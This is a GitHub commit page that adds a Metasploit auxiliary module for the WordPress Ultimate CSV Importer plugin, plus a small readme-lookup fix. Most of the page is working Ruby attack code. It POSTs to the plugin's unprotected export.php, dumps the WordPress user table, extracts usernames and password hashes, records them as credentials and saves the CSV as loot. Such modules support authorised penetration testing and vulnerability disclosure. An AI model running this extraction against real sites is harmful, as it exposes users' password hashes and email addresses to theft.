Skip to content

Commit c820431

Browse files
committed
Land rapid7#4770, Wordpress Ultimate CSV Importer user extract module
2 parents 2609a2a + f9dbff8 commit c820431

File tree

2 files changed

+122
-2
lines changed

2 files changed

+122
-2
lines changed

lib/msf/http/wordpress/version.rb

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -92,8 +92,17 @@ def check_version_from_readme(type, name, fixed_version, vuln_introduced_version
9292
'uri' => readme_url,
9393
'method' => 'GET'
9494
)
95-
# no readme.txt present
96-
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
95+
96+
if res.nil? || res.code != 200
97+
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'Readme.txt')
98+
res = send_request_cgi(
99+
'uri' => readme_url,
100+
'method' => 'GET'
101+
)
102+
103+
# no Readme.txt present
104+
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
105+
end
97106

98107
# try to extract version from readme
99108
# Example line:
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'csv'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
include Msf::HTTP::Wordpress
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(
15+
info,
16+
'Name' => 'WordPress Ultimate CSV Importer User Table Extract',
17+
'Description' => %q{Due to lack of verification of a visitor's
18+
permissions, it is possible to execute the
19+
'export.php' script included in the default
20+
installation of this plugin, and retrieve the full
21+
contents of the user table in the WordPress
22+
installation. This results in full disclosure of
23+
usernames, hashed passwords and email addresses
24+
for all users.},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'James Hooker', # Disclosure
29+
'Rob Carr <rob[at]rastating.com>' # Metasploit module
30+
],
31+
'References' =>
32+
[
33+
['WPVDB', '7778']
34+
],
35+
'DisclosureDate' => 'Feb 02 2015'
36+
))
37+
end
38+
39+
def plugin_url
40+
normalize_uri(wordpress_url_plugins, 'wp-ultimate-csv-importer')
41+
end
42+
43+
def exporter_url
44+
normalize_uri(plugin_url, 'modules', 'export', 'templates', 'export.php')
45+
end
46+
47+
def check
48+
check_plugin_version_from_readme('wp-ultimate-csv-importer', '3.6.7' '3.6.0')
49+
end
50+
51+
def process_row(row)
52+
if row[:user_login] && row[:user_pass]
53+
print_good("#{peer} - Found credential: #{row[:user_login]}:#{row[:user_pass]}")
54+
55+
credential_data = {
56+
origin_type: :service,
57+
module_fullname: fullname,
58+
private_type: :nonreplayable_hash,
59+
address: ::Rex::Socket.getaddress(rhost, true),
60+
port: rport,
61+
protocol: 'tcp',
62+
service_name: ssl ? 'https' : 'http',
63+
username: row[:user_login],
64+
private_data: row[:user_pass],
65+
workspace_id: myworkspace_id
66+
}
67+
68+
credential_core = create_credential(credential_data)
69+
login_data = {
70+
core: credential_core,
71+
status: Metasploit::Model::Login::Status::UNTRIED
72+
}
73+
login_data.merge!(credential_data)
74+
create_credential_login(login_data)
75+
end
76+
end
77+
78+
def parse_csv(body, delimiter)
79+
begin
80+
CSV::Converters[:blank_to_nil] = lambda do |field|
81+
field && field.empty? ? nil : field
82+
end
83+
csv = CSV.new(body, :col_sep => delimiter, :headers => true, :header_converters => :symbol, :converters => [:all, :blank_to_nil])
84+
csv.to_a.map { |row| process_row(row) }
85+
return true
86+
rescue
87+
return false
88+
end
89+
end
90+
91+
def run
92+
print_status("#{peer} - Requesting CSV extract...")
93+
res = send_request_cgi(
94+
'method' => 'POST',
95+
'uri' => exporter_url,
96+
'vars_post' => { 'export' => 'users' }
97+
)
98+
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
99+
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
100+
101+
print_status("#{peer} - Parsing response...")
102+
unless parse_csv(res.body, ',')
103+
unless parse_csv(res.body, ';')
104+
fail_with("#{peer} - Failed to parse response, the CSV was invalid")
105+
end
106+
end
107+
108+
store_path = store_loot('wordpress.users.export', 'csv', datastore['RHOST'], res.body, 'users_export.csv', 'WordPress User Table Extract')
109+
print_good("#{peer} - CSV saved to #{store_path}")
110+
end
111+
end

0 commit comments

Comments
 (0)